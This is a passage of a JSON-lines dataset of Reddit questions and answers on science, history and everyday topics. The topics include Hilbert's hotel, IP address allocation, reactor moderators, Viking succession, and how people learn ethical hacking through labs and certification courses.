hotel person. And you can't be sharing with a fellow bus passenger because they weren't sitting in the same seat as you on the bus. This is the same idea of counterexamples as before, namely that we're failing to find one.\n\nAs for your string analogy I don't fully understand your wave idea. A better analogy for how the two pieces of string can be in the same place is to introduce the idea of chopping up the strings. Chop the red string every 1cm and then spread them out so there's a 1cm gap in between each piece. Now lay the blue string next to it and chop it every 1cm as well. Again, spread the pieces out but this time slide them into the gaps you created earlier.\nThe reason I did it this was is because mathematically speaking we're doing the exact same thing as we did to the hotel guests.\nNotice how every 1cm piece of string is only moved once, just like how every guest is only moved once in the hotel example.\n\nHope that helped. I know infinity is hard but keep thinking about it and you'll wrap your head around it in no time. The real hard part is letting go of all the restrictions that we normally see in our day to day lives that come from the inherently finite world we live in. Good luck!\n\nSource: Mathematics grad student\n\nJust realised how long this is:\n\n**TL;DR Have a quick rethink, everyone is actually only moving once**", "You are treating infinity as a finite number. The key to dealing with infinity is by not thinking this way. Instead, think of a 1 to 1 correspondence. If each person can be accounted for by a room number, there is a 1-1 correspondence. Basically, the whole video deals with finding different ways of 1-1 correspondence. Personally, I didn't like when the video said all of the rooms were all full, but rather there are an infinite number of guests there already.", "The Infinite Hotel Problem is just a fun way of showing that various facts about the natural numbers, N = {1, 2, 3, 4, ...}.\n\n* N and N + 1 = {2, 3, 4, ...} have the same size (you can fit one more guest in)\n\n* N and 2N = {2, 4, 6, ...} have the same size (you can fit countably infinitely more guests in)\n\n* N and N^N = {{1, 2, 3, ...}, {1, 2, 3, ...}, ...} have the same size (you can fit countably many groups of countably infinitely more guests in)\n\nHere, *same size* means that there exists a bijection (a 1-1 correspondence) between the two sets. These bijections are explicitly constructed in the problem as the rooms that the existing guests move to."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=Uj3_KqkI9Zo"], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "34pehi", "title": "If a medical disorder affects more than 50% of a population, is it a disorder, or are those who have it 'normal'?", "selftext": "Just thought of it spontaneously. I ain't a doctor, so I can't answer it.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/34pehi/if_a_medical_disorder_affects_more_than_50_of_a/", "answers": {"a_id": ["cqx637i", "cqxo9ss"], "score": [12, 4], "text": ["Well, originally all adults were unable to digest lactose, but then there was a mutation that caused people to be able to continue digesting lactose even after childhood, and now we think that those who are lactose intolerant as having the \"disorder.\"", "The measure of the disorder, disease or syndrome would have to hinge upon if it impacts the targeted species negatively, to a benefit or benign.  While the idea of overall health is subjective, you can objectively measure its impact.  That being said though, if over half the population suddenly were to develop long/short term memory loss, it would have to be proven to some degree if it were good/bad/indifferent depending how it affects us.  Generally you would say this is bad, but a beneficial evolutionary could be attributed if there were facts to support it.  \"Normal\" is a term that doesn't necessarily align it self with good or bad exclusively.  It goes both ways as a relative term.  Like it may be \"normal\" for you to eat 3 times a day, but in other countries it may be \"normal\" to not eat everyday."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cvazhx", "title": "who owns \"unused\" internet addresses?", "selftext": "Additionally, how do these companies/websites that sell domains obtained them?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cvazhx/eli5_who_owns_unused_internet_addresses/", "answers": {"a_id": ["ey30g6y", "ey3103o"], "score": [15, 4], "text": ["There are two types of addresses you might be talking about: IP addresses and DNS names.\n\nICANN basically holds all the unassigned IP addresses, and manages Top Level Domains.\n\nThe IP address part is relatively simple - IANA sells IP addresses in blocks, and the people that own those blocks assign them however. (It gets a bit more complicated than that, but it's not necessary to answer the question)\n\nTop level domains are the .com, .net, .uk part of an address. Every TLD is managed by a domain registrar, for example .com is managed by verisign. Countries get to choose who runs their TLD - tuvalu gets a not insignificant part of its government budget from verisign who also manages the .tv TLD.\n\nDomain registrars can sponsor new 'generic' top level domains.\n\nThe reason ICANN is in charge of this, is because everyone agrees they are. This is something a little weird about the internet - there is no absolute authority. If ICANN got caught doing *seriously* dodgy dealing, a different organisation (e.g. the IETF) could very possibly become the new assigner of internet addresses.", "TLDR: Specialist organizations like ARIN hold the rights to issue IPs, companies and organizations have to apply to ARIN to have IP space leased to them. But most companies get IPs via a 3rd party like an ISP.\n\nThe right to issue IPs addresses belongs to organizations like ARIN (North America), RIPE (Europe), APNIC (Asia), AfriNIC (Africa), LACNIC (South America)\n\nEach of these organizations has blocks (subnets) of IP address space (both IPv4 and IPv6) which are assigned to their region.\n\nCompanies and organizations petition to lease IP addresses from these organizations for their use. If they qualify they are then assigned a block of IP addresses which they can they use for their business in a kind of semi-permanent lease. Technically organizations are supposed to release IPs back when they are done with them but this rarely happens as IPs A. never stop being used, and B. getting IP addresses (particular in IPv4) is a difficult process so once you get them you don't want to give them up.\n\n(In the early days of the internet IP addresses were handed out wholesale and some companies like HP + Apple + AT & T were assigned ludicrous amounts of IPs which they continue to lease to this day. This contributed to the IPv4 internet essentially running out of IPs about a decade ago, hence the development of IPv6.)\n\nThe vast majority of companies though don't bother with this process because it's both complicated, requires specialist hardware and technology to make work, and they are too small to qualify. Therefore they get IP addresses assigned to them from a 3rd party, which is usually an ISP.\n\nISPs like AT & T, Comcast, Shaw cable, Bell Canada, etc lease large numbers of IPs from ARIN and issue them to customers as part of their internet service.\n\nThe average company will have a small subdivided block of IPs assigned to them by an ISP as part of a contract for internet service.\n\nWhile your home will get a temporary IP assigned to your modem as part of the service.\n\nIPs that aren't in use at an ISP just float there waiting to be allocated.\n\nIP space in the global pool belong to the top-level organizations and basically aren't in use until allocated."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "24ail3", "title": "why is there a tube strike in london, and what is it that the union hopes to achieve?", "selftext": "It just seems like the RMT Union are always striking about something, and I don't understand why they can/who it actually helps.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/24ail3/eli5_why_is_there_a_tube_strike_in_london_and/", "answers": {"a_id": ["ch56uum", "ch57lst"], "score": [2, 3], "text": ["The RMT has long had a policy of \"strike first, ask questions later\", one that was instituted under the leadership of Bob Crow, who died earlier this year. It seems that old habits die hard.\n\nThis tactic did make the union very unpopular with Londoners, but for union members it got results. For example, under Crow's leadership, pay for train drivers rose to twice the national average wage. A tube strike is very good at crippling London: the RMT has a very strong bargaining chip there, and agreeing to pay rises and such is probably cheaper -- and certainly less disruptive -- than the overall economic damage caused by a prolonged strike.", "Transport for London, who run the tube, are planning to close all the manned ticket offices, losing several hundred jobs. As most travellers use the automatic ticket machines or Oyster Nfc charge cards, they see the ticket personnel as redundant. After something like 40 meetings between union and TFL, they had apparently come to agreement that TFL would review the need to close the ticket offices before acting. Unions now say that they have gone back on their word, hence the strike."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "13cydb", "title": "What effect did the liberum veto in the Polish Sejm during the 16-18th century have in preventing Poland from being a major power?", "selftext": "I've been reading about that time period lately, and I was wondering if anyone had any idea?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/13cydb/what_effect_did_the_liberum_veto_in_the_polish/", "answers": {"a_id": ["c72u8km"], "score": [5], "text": ["The liberum veto was widely used to block any reforms during XVIIIth century, when it was clear that Poland is weak. It was a great problem to achieve any consensus while debating on army or taxes. Polish historians assume that many liberum vetoes in this period were inspired by Russia or Prussia. The 3rd May Constitution passed only because the opposition went home for holiday."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fhnt7z", "title": "In nuclear reactors, why is it that (light) water can act as *either* a moderator or as a neutron absorber depending on the reactor design?", "selftext": "The way I understand the roll of water in nuclear reactors is this: \n\nIn reactors that use low-enriched uranium, water acts as both the coolant and the moderator, creating a negative void coefficient. In reactors (namely RBMK reactors) that use natural uranium and light water, water isn't capable enough as a moderator for the core to reach criticality, therefore there needs to be a strong moderator, hence the graphite rods in the RBMK design. The water then acts as the coolant and as a weak neutron absorber, thereby creating a positive void coefficient. \n\nNow, I'm confused about the moderation and absorption capabilities of water, because I would think that water is EITHER a net moderator or a net absorber, meaning that while water both moderates and absorbs neutrons, it does one of those better than the other.\n\nSpecifically in the RBMK design, I'm confused why the increase of voids, therefore a decrease in water density, *increases* reactivity rather than both the moderating and absorption effects of the water decreasing, therefore resulting in a net zero change from the effects of the water specifically, regardless of the presence of graphite. In other words, even with an increase in voids and a decrease in the neutron absorption, I would expect the water to ALSO decrease in moderation, thereby \"balancing out,\" so to speak. I'm especially confused, because it seems like water has more moderating capability than absorption since it's used as a moderator in many LEU reactors, so I might expect moderation from the water to decrease more than the decrease in absorption, therefore an overall decrease in core reactivity (so I guess that'd be a negative void coefficient in this case?)\n\nSo, even if it's used as an absorber in the RBMK reactors, the water has to also have a moderating effect as well, albeit much weaker than the graphite, right?\n\nAs a quick aside, I've also used the [neutron scatter/capture chart on this page](_URL_0_), and don't know how to compare the values of scattering versus capturing, i.e. whether an element is more likely to scatter than capture or vice versa.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/fhnt7z/in_nuclear_reactors_why_is_it_that_light_water/", "answers": {"a_id": ["fkgvg26", "fkfbgsq", "fkcf89q"], "score": [2, 2, 8], "text": ["The basic principle: Water moderates a certain percentage of neutrons, and it absorbs a certain percentage of neutrons. It moderates more than it absorbs. If you only need this surplus from water to sustain the reaction, it means less water (e.g. from bubbles) means both values go down simultaneously - fewer neutrons, reaction slows or stops.\n\nIf you add a not absorbing moderator like graphite to the equation, this may change: Graphite moderates a certain percentage of neutrons. Water again moderates a certain percentage of neutrons, and it absorbs a certain percentage of neutrons. But now it also absorbs neutrons moderated by the graphite. If you sum this up, the water absorbs more than it moderates, less water means more moderated neutrons left, the reaction speeds up.", "The moderation in a reactor is kindof done \"all the way\", the neutrons bounce around inside the moderating material until they stop moving at all (or rather, the only motion is from thermal energy, same as all the other molecules in the reactor). If the graphite is enough to thermalize them, then adding water can't slow them down any more, because they had already stopped. So adding water will not have any effect on moderation, while it will change the number of neutrons lost by absorption.\n\nI think it's not so much that \"water isn't capable enough as a moderator for the core to reach criticality\", it's that it's too absorbing. In order to completely thermalize, the neutrons just need to pass through a few tens of centimeters of water, and any water-moderated reactor will contain more water than that. So only the first decimeters of water matters for moderation, and after that, the neutron speed does not change. On the other hand, traveling through more water will always increase the risk that a neutron was absorbed. This means that in a water-moderated reactor, you can't create a critical mass by just making the reactor bigger and adding more uranium, because too many neutrons would be absorbed by water when traveling from one side of the reactor to the other. So instead, such reactors need to use more highly enriched uranium, so that it can be packed tighter together.", " >  EITHER a net moderator or a net absorber,\n\nEverything is a net moderator, and everything except the fuel itself is a net absorber, the question is to what degree. \n\nYou don\u2019t get to choose whether your water (or any other substance) is a moderator or an absorber, it has whatever scattering and capture cross sections it does, and you design your reactor around that. If some other design constraint dictates that your moderator isn\u2019t good enough for your case, you turn to a different material. Or if for some reason your material absorbs too many neutrons for your purpose, you can consider something else instead."]}, "title_urls": [], "selftext_urls": ["https://www.nuclear-power.net/nuclear-power/reactor-physics/nuclear-engineering-fundamentals/neutron-nuclear-reactions/neutron-absorption/"], "answers_urls": [[], [], []]}
{"q_id": "1udm9u", "title": "What was the first battle where balloons were used to observe the battlefield? Was it successful or was the balloon shot down?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1udm9u/what_was_the_first_battle_where_balloons_were/", "answers": {"a_id": ["ceh19j4", "ceh20qa"], "score": [2, 7], "text": ["I am thinking the US Civil War may have had them because they show up in Jules Verne's book *The Mysterious Island* but I have no proof.\n", "I'm using the wikipedia as my main source here, but it's conveniently backed up with a painting providing evidence. \n\nThe first use of observation balloons I know of was in the [Battle of Fleurus](_URL_4_) in 1794. The balloon can be seen in [this illustration](_URL_2_) and on [this painting](_URL_1_) (I'm  saw that last one in Versailles and wondered about the balloon at the time, so I looked it up. I'm no expert on this at all).\n\n[Reports on its usefulness vary](_URL_3_), but the balloon survived and during the battle was able to send information to the commanders via dropped messages and a semaphore. \n\nYou can still [see one of these balloons on display](_URL_0_) in the Museum of Military History (Heeresgeschichtliches Museum) in Vienna. This one was captured at the Battle of W\u00fcrzburg."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://upload.wikimedia.org/wikipedia/commons/thumb/d/d8/HGM_L%27Intr%C3%A9pide.jpg/551px-HGM_L%27Intr%C3%A9pide.jpg", "http://en.wikipedia.org/wiki/File:Bataille_de_Fleurus_1794.JPG", "http://en.wikipedia.org/wiki/File:Early_flight_02562u_\\(10\\).jpg", "http://en.wikipedia.org/wiki/French_Aerostatic_Corps#Battle_of_Fleurus", "http://en.wikipedia.org/wiki/History_of_military_ballooning#Early_French_balloons"]]}
{"q_id": "3ypz65", "title": "why do some people suddenly feel so sad without any reason? is it just bad brain chemistry?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ypz65/eli5_why_do_some_people_suddenly_feel_so_sad/", "answers": {"a_id": ["cyfq74z", "cyfqjuc", "cyfr47e", "cyfr4ds"], "score": [7, 4, 3, 2], "text": ["If anybody tells you that they know for sure, they're lying. The human brain is insanely complicated. How we feel is possibly tied to so many different things in our body and environment, and is so widely different across individuals that we just can't point and say what's going on with any real certainty. Psychology and neuroscience are really one and the same, but the connections are so numerous and complex that we are only just starting to uncover a few of the very obvious ones.", "Well according to Sigmund Freud all our repressed frustration, sadness and guilt comes from wanting to have sex with our parents. ", "I'll give a slightly different answer... I think the reason that some people are prone to feeling sad with 'no' reason, is because some times life itself is enough of a reason...", "As someone who suffers from some variety of what you're describing... No clue, mate. I've had that I've recalled sad moments of my life or thought about the wider messes in the world. Other times I've been stood at a bus stop or just sat at home and felt myself slip into a horrible mood. Could be psychological or biochemical, or both. Who knows? Not me!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "20a3am", "title": "why do i automatically assume everyone i am talking to on reddit is a male?", "selftext": "Seriously! I don't mean to at all...it's just first instinct for me to assume that I'm talking to a male unless it's really obvious...", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20a3am/eli5_why_do_i_automatically_assume_everyone_i_am/", "answers": {"a_id": ["cg17jfs", "cg18wds", "cg191kg", "cg19dv3"], "score": [5, 3, 13, 3], "text": ["Statistically speaking, most redditors are males", "[Social Media By Gender: Women Dominate Pinterest, Twitter, Men Dominate Reddit, YouTube](_URL_1_)\n\nReddit is 74% Male.\nPintrest is 72% Female.\nThese are considered the two most patriarchal and matriarchal social media sights. [According to this story on HuffPost Women (a pro-woman site).]\n\n_URL_0_\n\n", "This is a result of a \"male as a normative\" theme, which can be summed up by \"A model in which the male is seen as the norm for all humans, and the female is seen as a deviation from the norm.\" \n\nSome examples of this include:\n1. Man is created first in most creation stories.\n2. In language: \"Mankind,\" referring to a mixed group as \"guys,\" \"Lady doctor, Female firefighter, etc. (the need to explicitly state when someone is female because it would otherwise be assumed the person is male)\"\n\n\nThere have also been studies with children in which they were given a gender neutral stuffed animal or other toy and then asked to name it. Most of the time, both male and female children give the toys male names. ", "Because [there are no girls on the internet](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://images.huffingtonpost.com/2012-06-20-ChicksRule_JPEG_2.jpg", "http://www.huffingtonpost.com/2012/06/20/social-media-by-gender-women-pinterest-men-reddit-infographic_n_1613812.html"], [], ["http://knowyourmeme.com/memes/there-are-no-girls-on-the-internet"]]}
{"q_id": "a2i3pp", "title": "How exactly did succession work in Viking society? Did the child of a ruler just automatically inherit their parent's lands and titles? Or was there perhaps some type of coronation/ritual had to take place before they gained the lands?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a2i3pp/how_exactly_did_succession_work_in_viking_society/", "answers": {"a_id": ["eayrwx7"], "score": [19], "text": ["Well its a bit of an open question.  The Norse didn't exactly write down their coronation process during their pre-Christian time and again after their conversion so we can get a nice comparison on each side of the conversion process.  There are Icelandic sagas that deal with coronation and succession, but they were written centuries after conversion and in Iceland which was not incorporated into a kingdom until the 13th century.  There is other literary evidence that is more reliable, especially when dealing with later Norse figures than the earliest legendary kings.  It is further complicated by the largely unreliable nature of genealogy in this time frame, Harald Hardrade for example was claimed in the sagas as a descendant of the first king of Norway, but this claim is hardly accepted at face value.  \n\nHowever lets run through an example from the Icelandic sagas to start with.  The Saga of Haakon the Good does portray succession as a relatively straightforward process of succession by a son to his father, even if he has to see off a few rival claimants.  However his succession is complicated by his Christian faith and the continued heathen ways of his would be subjects.  As a part of his coronation he must eat sacrificed horse meat, but refuses to do so.  There is an attempt at a compromise by eating it through a cloth, but no one is happy with this is and eventually he is forced to renounce his faith.  As I mentioned above though there are issues with taking the sagas as historical sources, especially in the case of Haakon the Good who may or may not have actually existed. \n\nSo in the absence of reliable written accounts we're left with archaeology and that is ultimately a rather limited field to explore rituals that wouldn't leave a great deal of evidence in the ground.  \n\nAny effort to construct a structured and typical succession topos through purely archaeological evidence is likely doomed to failure.  There simply isn't enough evidence to give us a clear and firm picture of what succession entailed in Norse society, before conversion, I'm not sure about the later medieval kingdoms.  Now there is some evidence in archaeology that hints at certain aspects of succession issues.  For example, in Denmark upon Harald Bluetooth's ascension to kingship in Denmark there seems to have been an early attempt at establish his legitimacy through deliberately archaic forms of burial for his father, though he did dig dear old dad out of his tomb and plop him in a Church following his own conversion.  Whether this was a part of his succession or a separate attempt to legitimize his rule is also a bit of an open question.  \n\nOne issue that is made rather clear in the surviving accounts is that succession was a difficult process and a simple transfer from father to son, or horizontal transfer from brother to brother, was not a straightforwards process and perhaps not even the rule.  Norway in particular is quite replete with wars over succession, often with Danish involvement, and it seems rather clear that there was certainly no clear primogeniture practice that is commonly associated with the middle ages.  Indeed Harald Hardrade was forced from Norway following a failed attempt to claim the throne with his brother from Cnut the Great.  \n\nSo the tl;dr, there really wasn't an established mode of succession in the Norse world, despite later literary attempts to show one.  While brothers and children of kings might have had a leg up in claiming the throne, their claim was not inherently respected and inviolable.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9y46ll", "title": "how do people even get started with hacking like you see the professionals do it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9y46ll/eli5_how_do_people_even_get_started_with_hacking/", "answers": {"a_id": ["e9y1pwl", "e9y2t4v", "e9y3dcg"], "score": [13, 6, 5], "text": ["Learn a language like python/java. Move on too ruby/C+/whatever you want. Get really good at that. Essentially all hacking is, is finding a weak point in coding. It's not like what you see on tv. ", "Usually they get a job in network security after getting a degree in networking. Like a locksmith, you learn how things work and are put together first then probe and see how things react.", "TLDR; be prepared to spend a lot of time learning, building labs, reading and testing against yourself. The actual \"hack\" itself is often a footnote. \n\nI think a lot depends on whether you want to be a white hat (ethical) or black hat (bad guy) hacker. Either way, you START by hacking yourself and you need to be prepared to spend some serious time learning the skills.\n\nAs social engineering (the art of gaining access to information through gaining trust or confidence) is one of the most successful attacks, start there. How are you vulnerable or gullible to handing over private information without any computer/network intrusion? This stuff is covered extensively in many \"hacking\" courses, as I will mention later. \n\nI imagine your question relates more to computer/network based hacking, so I'll move on. \n\nA lot of \"script kiddies\" out there just copy other people's work and use their examples to exploit the weakest in society. Just like exams in school, copying is fine for the test, but in real life when something goes wrong you won't know what to do to either cover your tracks, or prevent being attacked in return. \n\nAssuming you have some basic command line and scripting skills, install Kali Linux distribution on a old computer or virtualize with something like Virtual box or VMWare. You won't use the majority of the Kali toolset for some time, but it's worth having at your fingertips. Courses like GCIH (GIAC Certified Incident Handler) will often provide their own Linux distribution with appropriate tools for learning to hack. \n\nGet a book like CEH (Certified Ethical Hacker) or similar SANS GIAC courses and just dive into some of the early exercises. The courses are built for someone with fairly decent IT and Networking skills, so if you don't have those, you can acquire them through other courses, e.g. CCNA, Linux boot camps, etc. \n\nYou can then set up some fake accounts on websites or local accounts and files on another computer that don't contain any private information and try to exploit those. Setting up separate machines and accounts to be hacked might seem like a pain, but once you've exploited them, what's to stop those hackers out it in the wild doing it again? Plus, having a lab is important if you're serious about learning.\n\nI can't overemphasive how important it is to prepare. People who prevent attacks spend most of their time preparing defences and processes, so it makes sense that a hacker spends equal or more time preparing their attack. The fact is that the Hollywood interpretation of \"hacking\" is far from reality. Most of the time is spent learning about the tools, targets and defences, with the actual \"hack\" being a footnote. \n\nGood luck out there and stay safe!\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2t0dmz", "title": "how do split depth gifs appear to be 3d", "selftext": "How do GIFS such as [these](_URL_0_) appear to be 3D, and what is done to make them?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2t0dmz/eli5how_do_split_depth_gifs_appear_to_be_3d/", "answers": {"a_id": ["cnujwrd"], "score": [18], "text": ["Basically, it's forced perspective.\n\nBecause the bars that are placed in the GIF that are edited to make them appear as a reference at a fixed plane in space. When something crosses the plane, it appears as if it has come closer to you."]}, "title_urls": [], "selftext_urls": ["http://imgur.com/gallery/fNuq5"], "answers_urls": [[]]}
{"q_id": "5kka2p", "title": "When sonoluminescence occurs what happens to all that heat produced?", "selftext": "I asked this question a couple days back and no-one replied which makes me sad cause I wannna know lol.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5kka2p/when_sonoluminescence_occurs_what_happens_to_all/", "answers": {"a_id": ["dboi9kj", "dboj366"], "score": [2, 16], "text": ["When the low-pressure bubbles collapse, they release energy that goes where it can. Since you are talking about sonoluminescnence, at least part of the energy flies away as EM radiation. The rest of it is dumped locally among the degrees of freedom of the fluid molecules via translations, vibrations, rotations, etc. This hot spot will then quickly dissipate as heat will flow to the surrounding liquid through conduction and convection.", "Virtually all of it (minus the light emitted) just gets absorbed into the water, giving a small net increase in its temperature.\n\nKeep in mind, sonoluminescence involves a vanishingly small amount of energy ([8x10^-8 J, according to this quick and dirty estimate](_URL_0_)) per bubble; we only get such an impressive effect because we pack that energy into a similarly tiny space and period of time (5\u00b5m, and at most 1/f seconds).\n\nAlso, somoluminescence doesn't *create* any net energy (the only energy added to the system comes from whatever fraction of sound gets absorbed by the medium), so from most of the setups I've seen, at best you have a system resembling a 100W heater working on 1L, or an increase of just about 1.4\u00b0C per minute (assuming - falsely - 100% absorption of the sound energy by the water).\n\nEdit:  Units, and rephrased a bit for clarity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://large.stanford.edu/courses/2015/ph241/chapa2/"]]}
{"q_id": "sfxl7", "title": "In the movie The Abyss Ed Harris' character dives to impossible depths using a liquid breathing apparatus. Can this ever becomes reality.", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/sfxl7/in_the_movie_the_abyss_ed_harris_character_dives/", "answers": {"a_id": ["c4dp6qj", "c4dqucd"], "score": [20, 3], "text": ["I had an interesting discussion about this two months ago in [this askscience question](_URL_0_). Have a read of the top comment tree there.\n\nTL;DR: In a way, yes, but in another, more accurate way, no.", "I just don't understand how that would make depth diving any better... The pressure itself isn't a problem as you would be breathing pressurized air anyway. The problem is from the fact that you get the bends when you go back. Would a liquid breathing apparatus solve it in any way?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/askscience/comments/p0byi/would_it_be_possible_to_survive_an_otherwise/"], []]}
{"q_id": "g74t2", "title": "My idea for an AskScience logo.", "selftext": "[Here it is](_URL_2_) (also a couple of other versions in edits below)\n\nSomeone with better design-fu could do a better one (particularly the arm, I don't like the arm but I couldn't make it look good), but seeing as that equation is the answer to many a question asked here, I think it would be nice if it was in the logo.\n\n**edit** People have rightly pointed out that this is more of a physics logo than a science one, so I invite all you non-physicists to stick something on this [blank version](_URL_1_) and (if possible) we could rotate through? \n\n**edit 2** Or, if that's not going to happen, how about a [simple subject-neutral version](_URL_0_)?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/g74t2/my_idea_for_an_askscience_logo/", "answers": {"a_id": ["c1ldxf5", "c1lemd4", "c1lgt4f"], "score": [5, 16, 5], "text": ["E^2 -p^2 c^2 = m^2 c^4 is a slightly better representation, imo. As it's the inner product of the energy momentum 4-vector, and demonstrates that the magnitude of that 4-vec is conserved across all reference frames. But if I was to choose any one thing, it would be this.", "Rather than the tried and true chalk board, it might look good if we show a gradual increase in scale from left to right. Maybe start with an atom, then to the right have a pretty universally recognized compound like water, then a small DNA double Helix, an animal, a mountain, Earth, and then the Milky Way.\n\nMight not work as a logo simply because of the size, but maybe we could have that as top bar that comes out of the right side of your simple subject-neutral, askscience chalkboard. At any-rate, I'd think it would do a pretty good job of showing a fairly wide spectrum of the fields represented within the subreddit.\n\n\nedit: I've attempted to draw this but it's not turning out so good. If there are any talented artists among us that would like to take a crack at it, please do.", "Might as well take the arm from [/r/askreddit](_URL_0_) too."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/8lC0L.jpg", "http://i.imgur.com/VJpQX.jpg", "http://i.imgur.com/q0xeL.jpg"], "answers_urls": [[], [], ["http://thumbs.reddit.com/t5_2qh1i.png"]]}
{"q_id": "1ltao2", "title": "how to pronounce irish names", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ltao2/eli5_how_to_pronounce_irish_names/", "answers": {"a_id": ["cc2ifl5"], "score": [2], "text": ["This requires knowledge of the [Irish spelling and pronunciation in general](_URL_0_). Looking for a name in particular?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.omniglot.com/writing/irish.htm"]]}
{"q_id": "173td5", "title": "if black absorbs light then how come black things can be shiny?", "selftext": "Things like balloons, cars etc. that are shiny and reflective but supposedly absorb all the colours in the visible spectrum.\n\n[This](_URL_0_) made me think of it.\n\nEDIT: I forgot to add \"ELI5\". Soz.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/173td5/if_black_absorbs_light_then_how_come_black_things/", "answers": {"a_id": ["c81y0j4", "c820r3f", "c8217mt"], "score": [9, 4, 5], "text": ["\"Shiny\" just means that at certain particular angles something reflects light really well.\n\nSo something shiny and black only reflects light at a particular angle: the angle it shines at. By definition if you're looking at something that's reflecting light at you, you won't see it (at least at that angle) as black.", "These things are black because they absorb most of the light which reaches them.\n\nThey are shiny because what little light they do reflect, they reflect in a single direction in the same way that a mirror does (rather than scattering the light in all directions like non-shiny things do).", "There's a part of the light that's reflected by the surface itself, before color is involved.  A shiny object has a smooth surface that reflects light in a single direction.  A dull object has a coarse surface that diffuses light in every direction, or possibly a surface that reflect very little light.\n\nOnly then is color involved: the part of light that isn't reflected by the shape of the surface goes through and interacts with the object's color: absorbed by black, reflected by white, etc.\n"]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=BvTBsduaDQM"], "answers_urls": [[], [], []]}
{"q_id": "1eor06", "title": "As historians, how do you feel knowing things that the people of the times could not possibly have known?", "selftext": "\"My name is Ozymandias, King of Kings; look upon my works, ye mighty, and despair.\"\n\nAs historians, you know how the story ends. You know who wins the battle. You know how the election turns out. You know how the events unfold. \n\nI'm curious as to how this makes you, as historians, feel. How does it affect you to know things the people of the times could not have possibly known?To see what, in the long-run, mattered and what didn't. To know who shaped the course of history and to know that there are countless people who thought that they would, and didn't.  Does this objective knowledge put up a sort of wall between you and the subject of your studies? Or do you feel like it brings you closer to them, regardless of whether they, whoever \"they\" are, may even still be around in some form? \n\nThanks to Algernon_Asimov for the help in figuring out how I wanted to word this. \n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1eor06/as_historians_how_do_you_feel_knowing_things_that/", "answers": {"a_id": ["ca2awmu", "ca2rex3"], "score": [4, 4], "text": ["There are certainly events where one has to make a deliberate effort not to judge with hindsight. The best example was given to me by a professor in a class on Weimar Germany: German history in the 1920s was not, and should not be seen or written as, 'Waiting for Hitler'. There is certainly a tendency to see history as the only way things could possibly have played out (not that Alternate History doesn't have its own set of massive problems), and that thus every event is clearly visible by the events coming before it. That in turn means that any of those preceding events is then judged in how it affected that later event, which, in my opinion, greatly distorts historical research.", "For me, at least, there are two guiding emotions that come to bear: empathy and humility.  Empathy prevents that feeling of superiority that can easily tempt modern historians as they look back, particularly at premodern societies (the Middle Ages in my case) whose world views and belief systems have many features that could easily strike us as ignorant, silly, or bizarre.  It helps to build empathy by applying some humility, by asking yourself before you leap to judgment, \u201cHow will people 500 years from now judge us?\u201d For it is absolutely a given that things we think we know for sure and things we do with confidence in their uprightness will--to unsympathetic people in the future--look stupid and appalling.  This doesn\u2019t mean we can\u2019t be disgusted with or mourn the awful things that past people have done, but it does mean that we have to do our best to understand the individual and cultural contexts within which decisions and events occurred.  \n\nThe most important thing to keep in mind is that people in the past were *really* people, fully human, who were as complicated and contradictory as we are, and that their lives were just as rich and just as filled with the full range of human emotions (no matter how they were channeled) as ours.  When we stereotype them, we diminish them and we falsify history, both of which are immoral.\n\nEDIT: Typos, as usual."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
